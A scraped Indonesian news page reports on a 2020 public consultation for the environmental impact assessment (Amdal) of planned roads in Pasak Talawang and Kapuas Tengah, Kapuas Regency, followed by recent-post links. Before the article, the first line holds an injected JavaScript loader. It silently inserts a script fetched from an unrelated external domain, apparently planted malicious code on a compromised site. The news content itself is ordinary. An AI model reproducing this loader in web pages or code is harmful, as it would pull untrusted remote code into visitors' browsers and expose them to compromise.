(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Konsultasi Publik Studi Amdal Rencana Pembangunan Ruas Jalan di Dua Kecamatan


KANALKALIMANTAN. COM, KUALA KAPUAS – Konsultasi publik menjadi suatu tahapan awal dalam penyusunan dokumen Amdal. Diatur jelas dalam Peraturan Menteri Negara Lingkungan Hidup No 17 Tahun 2012 tentang pedoman keterlibatan masyarakat dalam proses Amdal dan izin lingkungan.

Penyusunan dokumen Amdal tentang rencana pembangunan ruas jalan Anjir Sarapat-Palampai, jalan Pujon-Jangkang, Sei Hanyo-Tumbang Bukoi dan sarana pendukung dilaksanakan di Kecamatan Pasak Talawang, Selasa (8/9/2020).

Hadir dalam acara itu, Kasi Jalan Dinas PUPRKP Kabupaten Kapuas, Kabid Tata Lingkungan DLH Kabupaten Kapuas, Camat Kapuas Tengah, Camat Pasak Talawang, konsultan, Kades di wilayah Kecamatan Kapuas Tengah dan Kecamatan Pasak Talawang, tim penyusun Amdal serta tokoh masyarakat.

Kasi Jalan Dinas PUPRKP Kapuas Seprianto mengatakan, pada proses penyusunan dokumen Amdal, proses sosialisasi dan konsultasi publik adalah tahapan yang memang harus dilalui dalam penyusunan dokumen Amdal.

“Sosialisasi dan konsultasi publik adalah bagian dari tahapan penyusunan dokumen. Jadi harapannya masyarakat dapat benar-benar memanfaatkan kesempatan ini memberikan masukan dalam penyusunan dokumen Amdal,” katanya.

Lanjut Seprianto, dokumen Amdal terdiri dari dokumen kerangka acuan, dokumen RKL-RPL, dan dokumen ANDAL.

Sesuai dengan harapan Bupati Kapuas Ir Ben Brahim S Bahat MM MT pembangunan ruas jalan di Kecamatan Pasak Talawang juga Kecamatan Kapuas Tengah berjalan dengan lancar, tanpa kendala apapun.

“Kita dari Pemkab melakukan tahapan sosialisasi dan konsultasi kemasyarakatan untuk penyusunan Amdal, sebelum kegiatan yang diidam-idamkan masyarakat dua kecamatan ini dibangun,” pungkas Seprianto.

Di tempat yang sama, Camat Kapuas Tengah Dodo SP, konsultasi publik ini adalah tahap awal dalam penyusunan dokumen kerangka acuan Amdal, kemudian akan dilanjutkan dokumen Amdal, hingga penerbitan izin lingkungan.

 “Juga akan ditetapkan perwakilan masyarakat yang akan duduk sebagai anggota komisi penilai dokumen Amdal dari unsur masyarakat.  Jadi jangan khawatir bahwa masyarakat hanya dilibatkan pada proses sosialisasi dan konsultasi publik saja tetapi juga akan dilibatkan sebagai komisi penilai,” tegasnya. (kanalkalimantan.com/ags)

Reporter : ags
Editor : bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.